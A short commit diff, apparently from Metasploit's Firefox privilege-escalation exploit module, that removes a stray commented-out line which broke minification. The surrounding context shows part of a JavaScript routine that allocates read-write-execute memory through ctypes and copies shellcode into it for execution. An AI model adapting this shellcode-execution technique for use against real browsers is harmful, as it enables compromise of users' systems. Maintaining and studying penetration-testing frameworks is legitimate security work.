Remove stray line comment that ruined things when minified.
parent
30916e35ad
commit
e974d272f0
|
@ -36,6 +36,7 @@ module Exploit::Remote::FirefoxPrivilegeEscalation
|
|||
%Q|
|
||||
var execShellcode = function(shellcode, bytes) {
|
||||
Components.utils.import("resource://gre/modules/ctypes.jsm");
|
||||
|
||||
var execPosix = function() {
|
||||
var RWX = 7, ANON_PRIVATE = 4098;
|
||||
Components.utils.import("resource://gre/modules/ctypes.jsm");
|
||||
|
@ -77,7 +78,6 @@ module Exploit::Remote::FirefoxPrivilegeEscalation
|
|||
);
|
||||
var buff = mmap(null, shellcode.length, RWX, ANON_PRIVATE, 0, 0);
|
||||
var cstr = ctypes.jschar.array()(shellcode);
|
||||
//var bytes = ctypes.char.array()(shellcode).length-1;
|
||||
memcpy(buff, cstr, bytes);
|
||||
/* there is probably a better way to do this */
|
||||
var m = buff.toString().match(/"0x([0-9a-fA-F]*)"/);
|
||||
|
|
Loading…
Reference in New Issue